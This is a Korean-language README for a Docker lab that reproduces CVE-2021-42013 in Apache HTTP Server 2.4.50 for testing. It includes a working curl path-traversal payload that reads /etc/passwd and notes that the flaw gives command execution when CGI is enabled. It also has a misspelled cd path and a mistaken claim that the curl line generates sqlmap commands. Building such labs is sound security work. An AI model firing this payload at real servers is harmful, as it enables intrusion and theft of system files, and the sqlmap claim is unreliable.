취약점 도커화: cve-2021-42013

이 프로젝트는 Docker를 사용하여 특정 취약점을 도커화하는 것을 목표로 합니다. 목표는 취약점을 안전하게 악용하고 테스트할 수 있는 격리된 환경을 생성하는 것입니다.

취약한 애플리케이션

Apache HTTP Server 2.4.50 - 원격 코드 실행 및 경로 탐색

설치

이 프로젝트를 실행하려면 머신에 다음이 필요합니다:

• Docker
• Python
• Curl

필수 구성 요소가 설치되면 이 Git 저장소를 머신에 클론할 수 있습니다:

  git clone https://github.com/cybfar/cve-2021-42013-httpd.git

  cd Ccve-2021-42013-httpd

디렉토리로 이동한 후, 아래 명령을 실행하여 취약한 환경을 설정합니다:

  docker build -t apache-httpd-vuln .
  docker run -p 8000:80 apache-httpd-vuln

그런 다음 http://localhost:8000 주소에서 애플리케이션에 접속합니다. 모든 것이 정상이면 "It works"가 표시되어야 합니다.

취약점 악용

아래 curl 페이로드를 실행하면 대상이 취약함을 알 수 있습니다. 이 스크립트는 취약점을 악용하기 위한 적절한 sqlmap 명령어를 생성합니다.

  curl -v --path-as-is localhost:8000/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd

이 페이로드는 사용자의 동의 없이 시스템 내 사용자 정보에 직접 접근할 수 있습니다.

서버에서 cgi 또는 cgid 모듈을 활성화하면, 이 취약점을 통해 공격자가 임의 명령을 실행할 수 있게 됩니다.